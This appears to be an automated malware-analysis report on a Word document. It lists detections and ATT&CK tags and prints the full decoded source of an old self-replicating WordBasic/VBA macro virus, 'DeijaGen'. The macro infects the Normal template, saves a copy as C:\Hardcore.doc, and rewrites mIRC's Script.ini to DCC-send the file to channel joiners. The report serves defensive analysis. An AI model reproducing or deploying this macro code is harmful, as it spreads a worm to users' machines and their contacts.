MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a legacy WordBasic AutoOpen macro that copies its own code into the Normal template and the active document. It then displays a message box with contact information and saves a file named 'C:\Hardcore.doc'. Additionally, it manipulates 'C:\mIRC\Script.ini' to potentially send the saved file via mIRC DCC when a user joins a channel or connects.
Heuristics 4
-
ClamAV: Doc.Trojan.Class-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-10
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1559 bytes |
SHA-256: 21cd9ba2e01f7fe59e357c76b8e784d9371fc0afebb515ef6fa9ad2929934f16 |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
NormInstalled = False
ActInstalled = False
Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule
NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If NormInstalled = False Then
Set Infection = NormCarrier
Set Carrier = ActCarrier
Else
Set Infection = ActCarrier
Set Carrier = NormCarrier
End If
With Carrier
VirCode = .Lines(1, .CountOfLines)
End With
With Infection
.DeleteLines 1, .CountOfLines
.InsertLines 1, VirCode
End With
MsgBox "IMPORTED-FROM-THE-FUTURE" & Chr(13) & "" & Chr(13) & "Contact: Jivemoph@hotmail.com", 0, "DeijaGen [CE] by Jivemoph"
ActiveDocument.SaveAs FileName:="C:\Hardcore.doc", fileformat:=wdFormatDocument, AddToRecentFiles:=False, ReadOnlyRecommended:=False
Kill "C:\mIRC\Script.ini"
Open "C:\mIRC\Script.ini" For Output As 1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick C:\Hardcore.doc }"
Print #1, "n1=on 1:CONNECT: {"
Close 1
End Sub
'DeijaGen by Jivemoph
'Contact: Jivemoph@hotmail.com
'IMPORTED-FROM-THE-FUTURE
'
'Made for a contest.
'Made to win. [DeijaGen]
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.